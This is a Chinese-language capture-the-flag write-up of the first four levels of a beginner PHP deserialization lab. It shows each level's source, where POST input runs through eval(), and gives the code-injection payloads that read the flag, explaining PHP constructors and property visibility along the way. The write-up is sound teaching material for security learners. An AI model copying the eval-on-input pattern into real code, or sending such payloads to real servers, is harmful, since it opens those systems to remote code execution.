从 0 开始的PHP反序列化入门靶场--探姬
靶场地址http://125.77.172.32:9090/
Level1--类的实例化
class FLAG{
public $flag_string = "HelloCTF{????}";
function __construct(){
echo $this->flag_string;
}
}
$code = $_POST['code'];
eval($code);
这一题的思路很简单
__construct()是一个构造函数,在对象创建时被调用,用于初始化对象
所以分析一下这段代码,想要拿到flag只需要创建一个新的对象就可以了
所以payload
code=new FLAG();
Level2--对象中值的传递
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{
public $free_flag = "???";
function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}
这一题有一个暴力解就是直接输出falg_string
code=echo $flag_string;
但是这样并没有去利用这个代码利用链
首先code会被eval
然后target变量new了一个FLAG
FLAG里面有一个
echo $this->free_flag;
这里有一个echo可以输出内容,所以我们将free_flag的值强行赋值为$flag_string,就可以输出真正的falg
payload:
code=$target->free_flag=$flag_string;
执行链如下
code=target
然后target去访问free_flag这个属性
然后再将free_flag的值强行改为$flag_string
再执行$target->get_free_flag();
这个函数有一个echo $this->free_flag;
这才是最终能输出falg的关键
payload的作用只是把free_flag的值给修改了但是并没有输出语句
Level3--对象中值的权限
class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";
function get_protected_flag(){
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}
?>
这一题有一个坑,我一开始想要去调用这个对象class SubFLAG
但是这里有一个问题就是SubFLAG虽然继承了FLAG属性,但是子类 SubFLAG 根本继承不到父类的 private 属性,自然也就 return 不出来。这也是 protected 和 private 在面向对象编程中最大的区别所在。
那问题来了为什么$target->protected_flag 不能直接获取到对应的值呢
因为protected_flag是受保护的属性,外部不可以直接调用,只能内部去调用,FLAG 类里面写了一个公开的方法 get_protected_flag()可以直接调用
$target->public_flag (Public):
这是公开属性。就像摆在马路边的公共自行车,谁都可以直接拿来用。所以在类外部可以直接 -> 访问。
$target->get_protected_flag() (Protected):
protected 是受保护的属性。它只允许类自己内部以及继承它的子类(比如 SubFLAG)访问。你在外部直接写 $target->protected_flag 会报错,但是出题人在 FLAG 类里面写了一个公开的方法 get_protected_flag()。我们调用这个公开的方法,让类自己把内部的属性递出来给我们。
$target->get_private_flag() (Private):
private 是最严格的私有属性。它只能在定义它的类(FLAG)内部访问,连继承它的亲儿子(子类 SubFLAG)都看不到!同样地,我们通过调用 FLAG 类公开的 get_private_flag() 方法顺利拿到最后一段。
所以payload:
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
Level4--序列化初体验
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
阅读代码发现无论是FLAG还是FLAG3都没有输出的语句
code=echo
再观察发现里面的所有对象都是private,所以我们是不可以直接从外部进行读取的
那我们的思路就是从php中找一些在执行时权限极大并且可以无视protect和private权限的函数,让他们进行打印
所以这里的payload就有好几个
code=var_dump($flag_is_here);
code=print_r($flag_is_here);
code=echo serialize($flag_is_here);

Comments NOTHING